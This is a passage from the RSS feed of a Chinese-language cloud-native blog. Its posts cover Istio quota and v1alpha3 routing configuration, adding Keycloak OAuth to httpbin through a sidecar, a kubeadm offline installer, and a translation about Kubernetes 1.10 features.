    destination: destination.labels[&amp;quot;app&amp;quot;] | destination.service | &amp;quot;unknown&amp;quot;
    destinationVersion: destination.labels[&amp;quot;version&amp;quot;] | &amp;quot;unknown&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一模板中，定义了 memquota 适配器所需要的 Dimension 数据。&lt;/p&gt;

&lt;h2 id=&#34;规则&#34;&gt;规则&lt;/h2&gt;

&lt;p&gt;Rule 对象的任务相对比较简单：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;他负责告诉 Mixer，哪个 Instance 应该在什么时候发送给哪个 Handler。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: rule
metadata:
  name: rule-quota
spec:
  actions:
  - handler: memquota-handler.memquota # 引用适配器名称，这里需要加上适配器类型
    instances:
    - tmpl-quota.quota # 引用 Quota 模板
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;quotaspec&#34;&gt;QuotaSpec&lt;/h2&gt;

&lt;p&gt;这个对象用于对额度消费过程的行为进行定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: QuotaSpec
metadata:
  name: spec-request-count
spec:
  rules:
  - quotas:
    - charge: 5 # 每请求的消耗资源数量/倍数
      quota: &amp;quot;tmpl-quota&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;quotaspecbinding&#34;&gt;QuotaSpecBinding&lt;/h2&gt;

&lt;p&gt;有了配额消费规格的定义之后，我们还需要把它绑定到具体的服务上去，这样才凑齐了最后一环。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: QuotaSpecBinding
metadata:
  name: request-count
spec:
  quotaSpecs:
  - name: spec-request-count # quotaspec 名称
    namespace: istio-workload # 必须
  services:
  - name: php-server
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;具体测试过程非常简单，分别启动一个名为 &lt;code&gt;php-server&lt;/code&gt; 的服务，以及一个包含有 curl 等能够发起 http 访问的客户端服务，都使用 istio 进行注入之后，就可以进入控制台客户端 Pod，发起请求。例如：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;for i in $(seq 6); do curl -s http://php-server/version.php ; done&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;会出现 &lt;code&gt;RESOURCE_EXHAUSTED:Quota is exhausted&lt;/code&gt; 的信息，通过调整 &lt;code&gt;QuotaSpec&lt;/code&gt; 中 &lt;code&gt;charge&lt;/code&gt; 的值，会很容易的看到额度消费的效率产生的变化。&lt;/p&gt;

&lt;h2 id=&#34;参考阅读&#34;&gt;参考阅读&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Mixer 适配器模型：&lt;a href=&#34;http://blog.fleeto.us/translation/mixer-adapter-model&#34; target=&#34;_blank&#34;&gt;http://blog.fleeto.us/translation/mixer-adapter-model&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>摸索：Istio 路由规则 Alpha v3</title>
      <link>/post/istio-route-alpha1v3/</link>
      <pubDate>Mon, 16 Apr 2018 11:48:10 +0800</pubDate>
      <guid>/post/istio-route-alpha1v3/</guid>
      <description>

&lt;p&gt;Istio 近期的版本中出现了一个新的 API 组：&lt;code&gt;networking.istio.io/v1alpha3&lt;/code&gt;，应该会替代现有的&lt;code&gt;config.istio.io/v1alpha2&lt;/code&gt; API。新的 API 不管是结构上还是功能上、以及命名上，都有很大差异。这里使用一些简单例子，体验一下 Alpha 3 带来的变化。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：正常情况下 istioctl 和 kubectl 都可以用来操作这些对象，但是 kubectl 缺乏验证功能，因此调试阶段使用 istioctl 会更方便一些。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;路由分配&#34;&gt;路由分配&lt;/h2&gt;

&lt;p&gt;过去的路由分配比较简单，使用标签即可。新的版本中，提出了 &lt;a href=&#34;https://istio.io/docs/reference/config/istio.networking.v1alpha3.html#VirtualService&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;VirtualService&lt;/code&gt;&lt;/a&gt; 的概念。VirtualService 由一组路由规则构成，用于对服务实体（原文为 Host，个人认为在 K8S 中对应为 Pod）进行寻址。一旦有流量符合其中规则的选择条件，就会发送流量给对应的服务（或者服务的一个版本/子集）。&lt;/p&gt;

&lt;p&gt;流量的特征除了请求数据之外，还包括流量的来源，这样就能根据一些上下文来进行灵活的定义了。&lt;/p&gt;

&lt;p&gt;这里我们定义来自 sleep 对 php-server 的请求，都转向 v1：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
apiVersion: networking.istio.io/v1alpha3

kind: VirtualService

metadata:

  name: sleep-server-route

spec:

  hosts:

  - &amp;quot;php-server&amp;quot;

  http:

  - match:

    - sourceLabels:

        app: sleep

    route:

    - destination:

        name: php-server

        subset: v3

  - route:

    - destination:

        name: php-server

        subset: v2

&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;这里的匹配策略是具有从上到下的优先级的，也就是说，最下一条就是缺省路由。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;可以看到，&lt;code&gt;match&lt;/code&gt;中不再包含 &lt;code&gt;source&lt;/code&gt;，这里使用标签来过滤。写完应用之后，我们在 Sleep Pod 中使用 curl 发起请求，会发现并没有生效。这是因为，&lt;strong&gt;在 v3 中，目标规则不再是小透明了。&lt;/strong&gt;，路由定义必须以目标策略为基础。&lt;/p&gt;

&lt;p&gt;因此这里需要定义一个 &lt;code&gt;DestinationRule&lt;/code&gt; 对象，来满足上面的目标需求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
apiVersion: networking.istio.io/v1alpha3

kind: DestinationRule

metadata:

  name: phpserver

spec:

  name: php-server

  subsets:

  - name: v1

    labels:

      version: v1

  - name: v2

    labels:

      version: v2

  - name: v3

    labels:

      version: v3

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的文件，创建了名为 &lt;code&gt;phpserver&lt;/code&gt; 的目标规则，并在下级使用标签创建了三个子集。再次测试，会发现按照我们的要求执行了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：VirtualService 中引用的 Destination.name 似乎对应的是目标规则中的 spec.name，而不是 metadata.name。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;断路器&#34;&gt;断路器&lt;/h2&gt;

&lt;p&gt;这部分的 API 变化较大。可以在上面的 DestinationRule 中加入熔断策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
  - name: v2

    labels:

      version: v2

  trafficPolicy:

    connectionPool:

      http:

        http1MaxPendingRequests: 1

        maxRequestsPerConnection: 1

      tcp:

        maxConnections: 100

    outlierDetection:

      http:

        baseEjectionTime: 180.000s

        consecutiveErrors: 1

        interval: 1.000s

        maxEjectionPercent: 100

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来就可以使用 Fortio 或其他工具来测试熔断效果了，具体操作可以参考官方文档的&lt;a href=&#34;https://istio.io/docs/tasks/traffic-management-v1alpha3/circuit-breaking.html&#34; target=&#34;_blank&#34;&gt;断路器一节&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;新版本 API 加入了相当多的非 K8S 特性，另外突出了 Gateway，VirtualService 等主要对象，使得各个定义的条理性大为增强。但是目前这一组 API 仍然是 Alpha 阶段，因此还是存在相当大的变数的，但是个人推测的是，新 API 会得到更大的支持力度，因此可靠性应该更强。总之 Alpha 有风险，使用需谨慎。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;VirtualService&lt;/code&gt;: &lt;code&gt;https://istio.io/docs/reference/config/istio.networking.v1alpha3.html#VirtualService&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;断路器&lt;/code&gt;：&lt;code&gt;https://istio.io/docs/tasks/traffic-management-v1alpha3/circuit-breaking.html&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中用 Sidecar 为应用添加 Oauth 功能</title>
      <link>/post/sidecar-oauth-for-kubernetes-apps/</link>
      <pubDate>Mon, 09 Apr 2018 18:27:46 +0800</pubDate>
      <guid>/post/sidecar-oauth-for-kubernetes-apps/</guid>
      <description>

&lt;p&gt;Kubernetes 的 Pod 中可以同时运行共享网络栈的多个容器，使得 Sidecar 这种服务协作方式更加易于实施。这里我们就使用 Sidecar 方式，将 Keycloak 集成到 httpbin 服务上去，为没有认证的 httpbin 服务添加认证功能。&lt;/p&gt;

&lt;h2 id=&#34;概要&#34;&gt;概要&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://www.keycloak.org/&#34; target=&#34;_blank&#34;&gt;Keycloak（链接 1）&lt;/a&gt; 是 JBoss 的一个认证服务软件，使用代理的方式，为其他应用提供认证能力，除了本文说到的 Oauth 之外，还提供二次认证、LDAP 等丰富的相关功能。&lt;/p&gt;

&lt;p&gt;在 Kubernetes 上部署 Keycloak 服务，对其进行初始化，建立用户和认证系统，然后将 Keycloak-Proxy 和 Httpbin 集成在同一个 Pod 中进行部署运行，测试集成效果。&lt;/p&gt;

&lt;p&gt;集成后的访问路径如图所示：
&lt;img src=&#34;images/keycloak-flow.jpg&#34; alt=&#34;Keycloak flow&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;keycloak-服务的初始化&#34;&gt;Keycloak 服务的初始化&lt;/h2&gt;

&lt;p&gt;Keycloak 支持多种数据库存储，这里为了方便，就直接使用内置的 H2 数据库了。这里选用的镜像是&lt;code&gt;jboss/keycloak:3.4.2.Final&lt;/code&gt;，开放服务端口 8080，并设置了三个环境变量：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;KEYCLOAK_USER&lt;/code&gt;：KeyCloak 初始管理员账号&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KEYCLOAK_PASSWORD&lt;/code&gt;：KeyCloak 初始管理员密码&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PROXY_ADDRESS_FORWARDING&lt;/code&gt;：KeyCloak 部署在反向代理之后（Kubernetes 部署方式就在此列），就必须设置此变量为&lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来部署相关的 Service，如果有必要，还需要部署相关的 Ingress。&lt;/p&gt;

&lt;h2 id=&#34;设置-keycloak-服务器&#34;&gt;设置 Keycloak 服务器&lt;/h2&gt;

&lt;p&gt;启动 Keycloak Server 之后，我们访问&lt;code&gt;https://[keycloak service url]/auth/admin/&lt;/code&gt;，使用环境变量中设置的用户名密码登录，进行后续的安全设置，界面如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/keycloak-main.png&#34; alt=&#34;Keycloak main&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;创建登录域&#34;&gt;创建登录域&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;鼠标在左上角的&lt;code&gt;Master&lt;/code&gt;字样上悬停，在弹出的菜单中选择&lt;code&gt;Add Realm&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;在左侧菜单&lt;code&gt;Configure&lt;/code&gt;下面，打开&lt;code&gt;Clients&lt;/code&gt;项，点击&lt;code&gt;Create&lt;/code&gt;设置&lt;code&gt;httpbin&lt;/code&gt;作为 Client ID 并保存。&lt;/li&gt;
&lt;li&gt;设置&lt;code&gt;Access Type&lt;/code&gt;为&lt;code&gt;confidential&lt;/code&gt;，&lt;code&gt;Valid Redirect URIs&lt;/code&gt;设置为&lt;code&gt;*&lt;/code&gt;，并保存。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;打开&lt;code&gt;Installation&lt;/code&gt;标签，选择&lt;code&gt;Keycloak OIDC JSON&lt;/code&gt;，并拷贝显示出来的 JSON 代码，其中的部分内容可能不一致。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
&amp;quot;realm&amp;quot;: &amp;quot;httpbin&amp;quot;,
&amp;quot;auth-server-url&amp;quot;: &amp;quot;https://[keycloak-server]/auth&amp;quot;,
&amp;quot;ssl-required&amp;quot;: &amp;quot;external&amp;quot;,
&amp;quot;resource&amp;quot;: &amp;quot;httpbin&amp;quot;,
&amp;quot;credentials&amp;quot;: {
  &amp;quot;secret&amp;quot;: &amp;quot;d97cfa70-8eb1-443a-8320-4cde9da34de6&amp;quot;
},
&amp;quot;confidential-port&amp;quot;: 0
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;创建用户&#34;&gt;创建用户&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;在左侧的&lt;code&gt;Configure&lt;/code&gt;菜单上打开&lt;code&gt;Roles&lt;/code&gt;页面，点击&lt;code&gt;Add role&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;设置角色名称为&lt;code&gt;httpbin-role&lt;/code&gt;，保存。&lt;/li&gt;
&lt;li&gt;在左手的&lt;code&gt;Manage&lt;/code&gt;菜单中，打开&lt;code&gt;Users&lt;/code&gt;页面，点击&lt;code&gt;Add user&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;填写表单，设置&lt;code&gt;Email verified&lt;/code&gt;为&lt;code&gt;ON&lt;/code&gt;，保存内容。&lt;/li&gt;
&lt;li&gt;打开这一用户的&lt;code&gt;Role mappings&lt;/code&gt;标签，在&lt;code&gt;Available Roles&lt;/code&gt;列表中选择角色&lt;code&gt;httpbin-role&lt;/code&gt;，点击&lt;code&gt;Add selected&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这样我们就完成了登录域的创建，并为后面将要启动的 httpbin 应用创建了相关的角色和用户。&lt;/p&gt;

&lt;h2 id=&#34;部署应用&#34;&gt;部署应用&lt;/h2&gt;

&lt;p&gt;根据前面的流程图，我们需要把 keycloak-proxy 组件用 sidecar 的方式和 httpbin 集成在一起，用反向代理的形式拦截请求，完成登录任务。&lt;/p&gt;

&lt;h3 id=&#34;创建-proxy-配置&#34;&gt;创建 proxy 配置&lt;/h3&gt;

&lt;p&gt;Proxy 配置文件内容可以参考&lt;a href=&#34;http://www.keycloak.org/docs/3.0/server_installation/topics/proxy.html&#34; target=&#34;_blank&#34;&gt;官方文档（链接 2）&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;keycloak-proxy 需要一个配置文件&lt;code&gt;/opt/jboss/conf&lt;/code&gt;，这里我们使用 configmap 的形式将其加载进来，配置文件的内容如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;target-url&amp;quot;: &amp;quot;http://localhost:8000&amp;quot;,
    &amp;quot;send-access-token&amp;quot;: true,
    &amp;quot;bind-address&amp;quot;: &amp;quot;0.0.0.0&amp;quot;,
    &amp;quot;http-port&amp;quot;: &amp;quot;8080&amp;quot;,
    &amp;quot;applications&amp;quot;: [
        {
            &amp;quot;base-path&amp;quot;: &amp;quot;/&amp;quot;,
            &amp;quot;adapter-config&amp;quot;: {
                &amp;quot;realm&amp;quot;: &amp;quot;httpbin&amp;quot;,
                &amp;quot;auth-server-url&amp;quot;: &amp;quot;https://[keycloak-server]/auth&amp;quot;,
                &amp;quot;ssl-required&amp;quot;: &amp;quot;external&amp;quot;,
                &amp;quot;resource&amp;quot;: &amp;quot;httpbin&amp;quot;,
                &amp;quot;credentials&amp;quot;: {
                &amp;quot;secret&amp;quot;: &amp;quot;d97cfa70-8eb1-443a-8320-4cde9da34de6&amp;quot;
                }
            }
        ,
        &amp;quot;constraints&amp;quot;: [
                {
                    &amp;quot;pattern&amp;quot;: &amp;quot;/*&amp;quot;,
                    &amp;quot;roles-allowed&amp;quot;: [
                        &amp;quot;httpbin-role&amp;quot;
                    ]
                }
            ]
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一配置要求 Proxy 代理本机 8000 端口（httpbin 的服务端口）的通信，并以 0.0.0.0:8080 对外提供服务，secret 字段内容来自于上面&lt;code&gt;Keycloak OIDC JSON&lt;/code&gt;的输出。&lt;/p&gt;

&lt;h3 id=&#34;创建-httpbin-deployment&#34;&gt;创建 httpbin deployment&lt;/h3&gt;

&lt;p&gt;在原有的应用部署的基础上，需要加入两个内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;加载 ConfigMap&lt;/li&gt;
&lt;li&gt;加入 Sidecar&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;节选 yaml 代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;containers:
- image: citizenstig/httpbin
imagePullPolicy: IfNotPresent
name: httpd
ports:
- containerPort: 8000
    name: http-httpbin
- image: jboss/keycloak-proxy:3.4.2.Final
name: httpbin-proxy
volumeMounts:
- mountPath: /opt/jboss/conf
    name: config
ports:
- containerPort: 8080
    name: http-proxy
volumes:
- name: config
configMap:
    name: httpbin-proxy
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里完成了上述的任务。&lt;/p&gt;

&lt;h3 id=&#34;创建服务&#34;&gt;创建服务&lt;/h3&gt;

&lt;p&gt;上面创建的 Deployment 之中有了两个端口，8080 是 keycloak 端口；8000 是 httpbin 端口，为了达到认证目的，服务应该指向 keycloak proxy 所在的 8080 端口。&lt;/p&gt;

&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;

&lt;p&gt;依次完成业务应用部署之后，就可以进行测试了。&lt;/p&gt;

&lt;p&gt;在浏览器打开 httpbin 服务，会看到对这一服务的访问会被转向 Keycloak 的登录页面。如果输入的是管理员的账号密码，是无法成功访问服务的；而输入我们新建账号的登录凭据，则可以顺利返回。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://gist.github.com/fleeto/e4d2996b3c0dba41831504747974cf0a&#34; target=&#34;_blank&#34;&gt;所有 yaml 代码（链接 3）&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;链接&#34;&gt;链接&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;https://www.keycloak.org/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://www.keycloak.org/docs/3.0/server_installation/topics/proxy.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://gist.github.com/fleeto/e4d2996b3c0dba41831504747974cf0a&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Kubeadm 离线安装器 1.10</title>
      <link>/post/kubeadm-offline-installer/</link>
      <pubDate>Mon, 02 Apr 2018 05:30:37 +0800</pubDate>
      <guid>/post/kubeadm-offline-installer/</guid>
      <description>

&lt;h2 id=&#34;项目地址-https-github-com-fleeto-kubeadm-offline-installer&#34;&gt;项目地址：&lt;a href=&#34;https://github.com/fleeto/kubeadm-offline-installer&#34; target=&#34;_blank&#34;&gt;https://github.com/fleeto/kubeadm-offline-installer&lt;/a&gt;&lt;/h2&gt;

&lt;h2 id=&#34;更新内容&#34;&gt;更新内容&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;升级到了 Kubernetes 1.10。&lt;/li&gt;
&lt;li&gt;使用 CoreDNS 代替了原来的 KubeDNS。&lt;/li&gt;
&lt;li&gt;升级 Calico 网络插件为 3.0.4 版。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;仅在 centos 7 minimal 测试通过。&lt;/p&gt;

&lt;h2 id=&#34;使用方法&#34;&gt;使用方法：&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;需要 2.4.0 以上版本的 ansible。&lt;/li&gt;
&lt;li&gt;从 &lt;a href=&#34;https://github.com/fleeto/kubeadm-offline-installer/releases&#34; target=&#34;_blank&#34;&gt;Releases 页&lt;/a&gt; 下载和解压所需版本。&lt;/li&gt;
&lt;li&gt;编写 Host 文件，分组方式可以参考 &lt;code&gt;hosts/hosts.sample&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;group_vars/all&lt;/code&gt; 中有部分可以修改的变量。&lt;/li&gt;
&lt;li&gt;运行脚本。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/local/bin&lt;/code&gt; 目录下会生成初始化和加入集群的脚本。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/kubernetes&lt;/code&gt; 目录中包含证书和配置文件。&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 1.10 的秘宝</title>
      <link>/post/hidden-gems-1.10/</link>
      <pubDate>Wed, 28 Mar 2018 20:22:26 +0800</pubDate>
      <guid>/post/hidden-gems-1.10/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://blog.jetstack.io/blog/hidden-gems-1.10/&#34; target=&#34;_blank&#34;&gt;Kubernetes 1.10: Hidden Gems&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 发布了 1.10 版本。这是各位贡献者和发布团队的的又一次胜利。&lt;/p&gt;

&lt;p&gt;在 Jetstack，无论是为客户服务的 K8S 项目、或是为各级别的用户提供 K8S 培训，又或者向 K8S 社区贡献我们开发的代码，都有着同样的目的，就是将 Kubernetes 推向巅峰。我们一直在跟进这一杰出项目，并保持对其开发过程密切关注。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://blog.kubernetes.io/2018/03/kubernetes-1.10-stabilizing-storage-security-networking.html&#34; target=&#34;_blank&#34;&gt;官方博客（注 1）&lt;/a&gt;中介绍了 1.10 版本中的关键特性，按照以往惯例，我们请我们的工程师分享一下他们在新版本中发现的令人激动、期待的新功能。&lt;/p&gt;

&lt;h2 id=&#34;设备插件&#34;&gt;设备插件&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Matt Turner&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;设备插件系统现在进入了 Beta 阶段。这一能力可以用附加的任意维度来定义节点的容量，不再只限于 CPU 和内存容量。例如一个节点可能会申明其装有三块 GPU 以及一块高性能网卡；Pod 通过标准的&lt;code&gt;resources&lt;/code&gt;方式来申请 1 块 GPU，因此该 Pod 必须调度到一个具有空闲 GPU 的节点上。这一插件及其 API 会在为 Pod 提供使用之前，会对这些资源进行初始化和广播。&lt;/p&gt;

&lt;p&gt;nVidia 已经提供了一个用于管理自家 GPU 的插件。请求两块 GPU 的语句如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;resources:
    limits:
      nvidia.com/gpu: 2
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;coredns&#34;&gt;CoreDNS&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Charlie Egan&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;1.10 把 KubeDNS 变成了一个可插接组件。这样就能够更方便的使用其他工具来进行服务发现。其中的一个选项就是 CoreDNS，CoreDNS 使用一个原生插件实现了 Kubernetes 服务发现规范。他是一个单进程应用，支持缓存和健康检查（这样就无需在 DNS Pod 中使用 dnsmasq 或者是 healthz 容器了）。CoreDNS 插件在 1.10 中提升到了 Beta 阶段，最终会成为 Kubernetes 的缺省选项。&lt;/p&gt;

&lt;h2 id=&#34;每-pod-中的-pid-数量限制&#34;&gt;每 Pod 中的 Pid 数量限制&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/57973&#34; target=&#34;_blank&#34;&gt;1.10 中的一个新的 Alpha 特性（注 2）&lt;/a&gt;就是控制每 Pod 中 Pid 总数的能力。Linux 核心提供了&lt;a href=&#34;https://www.kernel.org/doc/Documentation/cgroup-v1/pids.txt&#34; target=&#34;_blank&#34;&gt;进程数控制器&lt;/a&gt;，可以附着在 cgroup 上，在超出特定限制时停止所有新建任务。现在这一核心功能暴露给了集群运维，能够有效的避免一些恶意的或者意外造成的 Fork 炸弹对集群产生不良影响。&lt;/p&gt;

&lt;p&gt;在 kubelet 的&lt;code&gt;--feature-gates=&lt;/code&gt;参数中加入&lt;code&gt;SupportPodPidsLimit=true&lt;/code&gt;，就激活了这一功能。目前只允许运维通过 kubelet 的&lt;code&gt;--pod-max-pids&lt;/code&gt;参数来给每节点定义一个简单的上限数量。可能这种硬性限制并不适用于所有场景，在一些情况下会需要超过这一限制。未来也许会让这一选项更具弹性；一个可能的扩展方式就是制定一个上限和下限，让用户在 Pod 中使用一个布尔字段来选择限制。&lt;/p&gt;

&lt;p&gt;这一功能为工作负载提供了一种新的重要的隔离机制，他的后续发展让人非常期待。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Louis Taylor&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;1.10 加入了共享进程命名空间的 Alpha 支持。要试用这一特性，需要在 apiserver 以及 kubelet 中启用&lt;code&gt;PodShareProcessNamespace&lt;/code&gt;。启用之后就可以在 Pod 中设置&lt;code&gt;shareProcessNamespace&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: shared-pid
spec:
  shareProcessNamespace: true
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 Pod 内共享 PID 命名空间有一些后果。最重要的是，在容器内的进程，对同一 Pod 内的其他所有容器是可见的，并且可以跨越容器边界向进程发送信号。这使得 Sidecar 容器更加强大（例如发送一个&lt;code&gt;SIGHUP&lt;/code&gt;来重新载入配置）。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Josh Van Leeuwen&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;1.10 中多出一些 Alpha 特性，其中包含了 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/55168&#34; target=&#34;_blank&#34;&gt;CRD 的子资源（注 4）&lt;/a&gt;，分别是&lt;code&gt;/status&lt;/code&gt;和&lt;code&gt;/scale&lt;/code&gt;。和其他资源一样，他们提供了独立的 API 端点来修改内容。不但你的资源现在可以和&lt;code&gt;HorizontalPodAutoscaler&lt;/code&gt;这样的系统进行交互，而且还给用户和控制器状态数据提供了更好的访问控制能力。例如控制器具备的对资源状态的变更和销毁能力就可以不分配给用户。&lt;/p&gt;

&lt;p&gt;为 CRD 加入&lt;code&gt;/status&lt;/code&gt;和&lt;code&gt;/scale&lt;/code&gt;，只要加入如下代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;subresources:
  status: {}
  scale:
    specReplicasPath: .spec.replicas
    statusReplicasPath: .status.replicas
    labelSelectorPath: .status.labelSelector
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;外部自定义指标&#34;&gt;外部自定义指标&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Matt Bates&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;第一个版本的 HPA（v1）只能基于对 CPU 使用率的监控进行。虽然有用，但是 CPU 并不总是应用伸缩的唯一标准。Kubernetes 1.6 中加入的 HPA v2，可以用自定义指标进行伸缩。我们在 &lt;a href=&#34;https://blog.jetstack.io/blog/resource-and-custom-metrics-hpa-v2/&#34; target=&#34;_blank&#34;&gt;Kubernetes 1.8 的博客（注 5）&lt;/a&gt;中介绍了关于资源指标 API、自定义指标 API、以及 HPA v2 的相关内容。&lt;/p&gt;

&lt;p&gt;自定义指标能够描述来自受 HPA 关注的 Pod 的指标，包括资源（CPU、内存）或者对象（服务或者 Ingress）。但是这些选项对于集群之外的基础设施层面是不适用的。最近的客户接触中，就收到了根据 Google 云发布/订阅队列长度进行伸缩的需要。&lt;/p&gt;

&lt;p&gt;1.10 中，现在有了一个 Alpha 阶段的 HPA v2 API，用于支持外部指标。例如上述的根据发布/订阅队列长度进行伸缩的需求大概可以这样实现：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: HorizontalPodAutoscaler
apiVersion: autoscaling/v2beta2
spec:
  scaleTargetRef:
    kind: ReplicationController
    name: Worker
  minReplicas: 2
  maxReplicas: 10
  metrics:
   - type: External
     external:
       metricName: queue_messages_ready
       metricSelector:
         matchLabels:
           queue: worker_tasks
       targetAverageValue: 30
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;HPA 需要一个附加的 API Server，注册为&lt;code&gt;APIService&lt;/code&gt;，并通过查询发布订阅队列，实现自定义指标 API。&lt;/p&gt;

&lt;h2 id=&#34;kubectl-get-和-describe-输出的自定义&#34;&gt;kubectl &lt;code&gt;get&lt;/code&gt;和&lt;code&gt;describe&lt;/code&gt;输出的自定义&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;James Munnelly&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes 1.10 的&lt;code&gt;kubectl get&lt;/code&gt;和&lt;code&gt;kubectl describe&lt;/code&gt;的输出生成过程有了一个很小很重要的变化。&lt;/p&gt;

